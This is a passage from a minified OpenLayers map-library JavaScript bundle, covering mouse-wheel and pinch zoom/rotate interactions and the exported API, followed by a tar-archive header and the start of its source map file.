this.angle_=Math.atan2(r,o),this.initialVelocity_=Math.sqrt(o*o+r*r)/n,this.initialVelocity_>this.minVelocity_},t.prototype.getDistance=function(){return(this.minVelocity_-this.initialVelocity_)/this.decay_},t.prototype.getAngle=function(){return this.angle_},t}(),eh=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ih="trackpad",nh=function(t){function e(e){var i=this,n=e||{};(i=t.call(this,n)||this).totalDelta_=0,i.lastDelta_=0,i.maxDelta_=void 0!==n.maxDelta?n.maxDelta:1,i.duration_=void 0!==n.duration?n.duration:250,i.timeout_=void 0!==n.timeout?n.timeout:80,i.useAnchor_=void 0===n.useAnchor||n.useAnchor,i.constrainResolution_=void 0!==n.constrainResolution&&n.constrainResolution;var o=n.condition?n.condition:Ml;return i.condition_=n.onFocusOnly?Rl(Il,o):o,i.lastAnchor_=null,i.startTime_=void 0,i.timeoutId_,i.mode_=void 0,i.trackpadEventGap_=400,i.trackpadTimeoutId_,i.deltaPerZoom_=300,i}return eh(e,t),e.prototype.endInteraction_=function(){this.trackpadTimeoutId_=void 0;var t=this.getMap();t&&t.getView().endInteraction(void 0,this.lastDelta_?this.lastDelta_>0?1:-1:0,this.lastAnchor_)},e.prototype.handleEvent=function(t){if(!this.condition_(t))return!0;if(t.type!==b)return!0;var e,i=t.map,n=t.originalEvent;if(n.preventDefault(),this.useAnchor_&&(this.lastAnchor_=t.coordinate),t.type==b&&(e=n.deltaY,Y&&n.deltaMode===WheelEvent.DOM_DELTA_PIXEL&&(e/=Z),n.deltaMode===WheelEvent.DOM_DELTA_LINE&&(e*=40)),0===e)return!1;this.lastDelta_=e;var o=Date.now();void 0===this.startTime_&&(this.startTime_=o),(!this.mode_||o-this.startTime_>this.trackpadEventGap_)&&(this.mode_=Math.abs(e)<4?ih:"wheel");var r=i.getView();if(this.mode_===ih&&!r.getConstrainResolution()&&!this.constrainResolution_)return this.trackpadTimeoutId_?clearTimeout(this.trackpadTimeoutId_):(r.getAnimating()&&r.cancelAnimations(),r.beginInteraction()),this.trackpadTimeoutId_=setTimeout(this.endInteraction_.bind(this),this.timeout_),r.adjustZoom(-e/this.deltaPerZoom_,this.lastAnchor_),this.startTime_=o,!1;this.totalDelta_+=e;var s=Math.max(this.timeout_-(o-this.startTime_),0);return clearTimeout(this.timeoutId_),this.timeoutId_=setTimeout(this.handleWheelZoom_.bind(this,i),s),!1},e.prototype.handleWheelZoom_=function(t){var e=t.getView();e.getAnimating()&&e.cancelAnimations();var i=-Ct(this.totalDelta_,-this.maxDelta_*this.deltaPerZoom_,this.maxDelta_*this.deltaPerZoom_)/this.deltaPerZoom_;(e.getConstrainResolution()||this.constrainResolution_)&&(i=i?i>0?1:-1:0),Cl(e,i,this.lastAnchor_,this.duration_),this.mode_=void 0,this.totalDelta_=0,this.lastAnchor_=null,this.startTime_=void 0,this.timeoutId_=void 0},e.prototype.setMouseAnchor=function(t){this.useAnchor_=t,t||(this.lastAnchor_=null)},e}(wl),oh=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),rh=function(t){function e(e){var i=this,n=e||{},o=n;return o.stopDown||(o.stopDown=c),(i=t.call(this,o)||this).anchor_=null,i.lastAngle_=void 0,i.rotating_=!1,i.rotationDelta_=0,i.threshold_=void 0!==n.threshold?n.threshold:.3,i.duration_=void 0!==n.duration?n.duration:250,i}return oh(e,t),e.prototype.handleDragEvent=function(t){var e=0,i=this.targetPointers[0],n=this.targetPointers[1],o=Math.atan2(n.clientY-i.clientY,n.clientX-i.clientX);if(void 0!==this.lastAngle_){var r=o-this.lastAngle_;this.rotationDelta_+=r,!this.rotating_&&Math.abs(this.rotationDelta_)>this.threshold_&&(this.rotating_=!0),e=r}this.lastAngle_=o;var s=t.map,a=s.getView();if(a.getConstraints().rotation!==ol){var l=s.getViewport().getBoundingClientRect(),h=bl(this.targetPointers);h[0]-=l.left,h[1]-=l.top,this.anchor_=s.getCoordinateFromPixelInternal(h),this.rotating_&&(s.render(),a.adjustRotationInternal(e,this.anchor_))}},e.prototype.handleUpEvent=function(t){return!(this.targetPointers.length<2&&(t.map.getView().endInteraction(this.duration_),1))},e.prototype.handleDownEvent=function(t){if(this.targetPointers.length>=2){var e=t.map;return this.anchor_=null,this.lastAngle_=void 0,this.rotating_=!1,this.rotationDelta_=0,this.handlingDownUpSequence||e.getView().beginInteraction(),!0}return!1},e}(Ol),sh=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),ah=function(t){function e(e){var i=this,n=e||{},o=n;return o.stopDown||(o.stopDown=c),(i=t.call(this,o)||this).anchor_=null,i.duration_=void 0!==n.duration?n.duration:400,i.lastDistance_=void 0,i.lastScaleDelta_=1,i}return sh(e,t),e.prototype.handleDragEvent=function(t){var e=1,i=this.targetPointers[0],n=this.targetPointers[1],o=i.clientX-n.clientX,r=i.clientY-n.clientY,s=Math.sqrt(o*o+r*r);void 0!==this.lastDistance_&&(e=this.lastDistance_/s),this.lastDistance_=s;var a=t.map,l=a.getView();1!=e&&(this.lastScaleDelta_=e);var h=a.getViewport().getBoundingClientRect(),u=bl(this.targetPointers);u[0]-=h.left,u[1]-=h.top,this.anchor_=a.getCoordinateFromPixelInternal(u),a.render(),l.adjustResolutionInternal(e,this.anchor_)},e.prototype.handleUpEvent=function(t){if(this.targetPointers.length<2){var e=t.map.getView(),i=this.lastScaleDelta_>1?1:-1;return e.endInteraction(this.duration_,i),!1}return!0},e.prototype.handleDownEvent=function(t){if(this.targetPointers.length>=2){var e=t.map;return this.anchor_=null,this.lastDistance_=void 0,this.lastScaleDelta_=1,this.handlingDownUpSequence||e.getView().beginInteraction(),!0}return!1},e}(Ol),lh=function(){var t=function(e,i){return t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)Object.prototype.hasOwnProperty.call(e,i)&&(t[i]=e[i])},t(e,i)};return function(e,i){if("function"!=typeof i&&null!==i)throw new TypeError("Class extends value "+String(i)+" is not a constructor or null");function n(){this.constructor=e}t(e,i),e.prototype=null===i?Object.create(i):(n.prototype=i.prototype,new n)}}(),hh=function(t){function e(e){return(e=f({},e)).controls||(e.controls=function(t){var e={},i=new da;return(void 0===e.zoom||e.zoom)&&i.push(new Ti(e.zoomOptions)),(void 0===e.rotate||e.rotate)&&i.push(new vl(e.rotateOptions)),(void 0===e.attribution||e.attribution)&&i.push(new Wt(e.attributionOptions)),i}()),e.interactions||(e.interactions=function(t){var e={onFocusOnly:!0}||{},i=new da,n=new th(-.005,.05,100);return(void 0===e.altShiftDragRotate||e.altShiftDragRotate)&&i.push(new Xl),(void 0===e.doubleClickZoom||e.doubleClickZoom)&&i.push(new El({delta:e.zoomDelta,duration:e.zoomDuration})),(void 0===e.dragPan||e.dragPan)&&i.push(new zl({onFocusOnly:e.onFocusOnly,kinetic:n})),(void 0===e.pinchRotate||e.pinchRotate)&&i.push(new rh),(void 0===e.pinchZoom||e.pinchZoom)&&i.push(new ah({duration:e.zoomDuration})),(void 0===e.keyboard||e.keyboard)&&(i.push(new Jl),i.push(new $l({delta:e.zoomDelta,duration:e.zoomDuration}))),(void 0===e.mouseWheelZoom||e.mouseWheelZoom)&&i.push(new nh({onFocusOnly:e.onFocusOnly,duration:e.zoomDuration})),(void 0===e.shiftDragZoom||e.shiftDragZoom)&&i.push(new Hl({duration:e.zoomDuration})),i}()),t.call(this,e)||this}return lh(e,t),e.prototype.createRenderer=function(){return new Fa(this)},e}(gl),uh={control:{Attribution:Wt,MousePosition:vi,Zoom:Ti},coordinate:{createStringXY:function(t){return function(e){return function(t,e){return function(t,e,i){return t?"{x}, {y}".replace("{x}",t[0].toFixed(i)).replace("{y}",t[1].toFixed(i)):""}(t,0,e)}(e,t)}}},extent:{boundingExtent:he},geom:{LineString:_n,LinearRing:Cn,MultiLineString:En,MultiPoint:In,MultiPolygon:Yn,Point:On,Polygon:zn},layer:{Tile:Go,Vector:Fs},proj:{fromLonLat:function(t,e){return Ke(),ii(t,"EPSG:4326",void 0!==e?e:"EPSG:3857")},get:He,transformExtent:ni},source:{OSM:la,Vector:wa},style:{Circle:ur,Fill:cr,Stroke:pr,Style:yr,Text:Sa},Feature:ba,Map:hh,View:cl}}(),n.default}()})); //# sourceMappingURL=OpenLayers.js.map ������������������������������������������������������������������������������������������������������������vendor/openlayers/OpenLayers.js.map�����������������������������������������������������������������0000666�����������������00007436173�15172447206�0013456 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������{"version":3,"file":"OpenLayers.js","mappings":"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